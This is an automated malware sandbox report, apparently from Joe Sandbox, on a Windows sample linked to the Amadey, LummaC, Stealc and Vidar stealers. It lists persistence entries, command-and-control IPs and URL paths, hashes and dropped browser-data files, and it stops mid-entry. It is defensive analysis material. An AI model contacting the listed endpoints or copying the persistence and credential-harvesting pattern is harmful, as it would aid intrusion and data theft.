Excluded IPs from analysis (whitelisted): 142.250.185.131, 172.217.18.110, 74.125.71.84, 34.104.35.123, 142.250.185.163, 142.250.186.138, 142.250.185.74, 142.250.184.202, 142.250.185.170, 142.250.185.202, 142.250.186.74, 142.250.185.138, 172.217.18.106, 172.217.18.10, 142.250.186.42, 142.250.186.170, 172.217.16.138, 142.250.185.234, 142.250.186.106, 216.58.212.138, 142.250.181.234, 216.58.206.74, 142.250.74.202, 216.58.212.170, 142.250.185.106, 93.184.221.240, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 172.217.16.142, 13.107.6.158, 2.20.245.139, 2.20.245.132, 4.175.223.124, 88.221.110.179, 88.221.110.195, 2.23.209.182, 2.23.209.133, 2.23.209.149, 2.23.209.130, 2.23.209.187, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.48, 2.23.209.13, 2.23.209.59, 2.23.209.23, 2.23.209.20, 2.23.209.51, 2.23.209.52, 2.23.209.7, 2.23.209.3, 192.229.221.95, 2.20.245.135, 2.20.245.140, 142.251.186.94, 142.250.114.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, config.edge.skype.com.trafficma
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:16:41	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
04:17:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f0388bf2aa.exe C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe
04:17:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f0388bf2aa.exe C:\Users\user\AppData\Local\Temp\1005680001\f0388bf2aa.exe
04:17:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0b7df35e6b.exe C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
04:17:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0b7df35e6b.exe C:\Users\user\AppData\Local\Temp\1005682001\0b7df35e6b.exe
22:16:32	API Interceptor	36x Sleep call for process: file.exe modified
22:17:01	API Interceptor	9125269x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.218.232.186	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	setup.msi	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Setup.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.65.39.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.65.39.28
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.38
	https://www.canva.com/design/DAGV5ZsI2aM/Y4DbzinsvfGp5Ll4c_oJJQ/view?utm_content=DAGV5ZsI2aM&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	52.222.169.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	3.163.101.92
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.222.169.76
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.244.18.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	52.237.139.198
	amen.x86.elf	Get hash	malicious	Mirai	Browse	21.63.49.151
	amen.arm.elf	Get hash	malicious	Unknown	Browse	22.85.218.160
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	21.74.53.23
	zgp.elf	Get hash	malicious	Mirai	Browse	13.66.197.191
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	22.107.202.4
	amen.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.53.91
	amen.spc.elf	Get hash	malicious	Mirai	Browse	20.92.146.129
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://protect-us.mimecast.com/s/18vfCQWNWqS1V8BlCPhEHGoqRR	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	amen.arm6.elf	Get hash	malicious	Mirai	Browse	52.237.139.198
	amen.x86.elf	Get hash	malicious	Mirai	Browse	21.63.49.151
	amen.arm.elf	Get hash	malicious	Unknown	Browse	22.85.218.160
	amen.mpsl.elf	Get hash	malicious	Mirai	Browse	21.74.53.23
	zgp.elf	Get hash	malicious	Mirai	Browse	13.66.197.191
	amen.m68k.elf	Get hash	malicious	Unknown	Browse	22.107.202.4
	amen.sh4.elf	Get hash	malicious	Mirai	Browse	22.56.53.91
	amen.spc.elf	Get hash	malicious	Mirai	Browse	20.92.146.129
RAYA-ASEG	x86_64.elf	Get hash	malicious	Mirai	Browse	197.132.31.214
	x86.elf	Get hash	malicious	Mirai	Browse	41.68.48.238
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	23.218.232.139
	speedtest-cli.x86_64.dbg.elf	Get hash	malicious	Mirai	Browse	41.68.96.107
	speedtest-cli.arm5.elf	Get hash	malicious	Mirai	Browse	197.133.10.236
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.186
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://sv-management.solarflevoland.nl/wix	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	https://gerneva.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	Setup.exe	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	https://attack.mitre.org/techniques/T1204/001	Get hash	malicious	Lsass Dumper, Mimikatz, Trickbot	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	https://xblgo.com	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.107.246.45 20.190.159.0

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CBKFIECBGDHJKECAKFBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBKKFCBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651241515917364
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMsSAELyKOMq+8yC8F/YfU5m+OlTLVumMF:Bq+n0Js9ELyKOMq+8y9/OwxF
MD5:	D460DF0C1C2C58EADFFDCB0CA715350C
SHA1:	1F598FFE43D008A5C58ECFE59865B1A7695F9276
SHA-256:	82CA7C8775DDD208509715287DA4F2F63BAA17356A353B1AB6D938FFBED9AEC0
SHA-512:	1C6270B071DC2E7EE3B05E8AF752631DA5536DABC444F45AA5C8B9591F5980C0040ED91932DF583A3300C1BEB8D4AD7BBCC20727D98A92763F283470AE05DFCB
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGIJDAFCFHIEHJJKEHJKKJKFCG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJDBAKEHDHDGCAKKJJECAEHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEBAECAKKFCBFIEGCBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJJKFHIJKKFHJJECBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
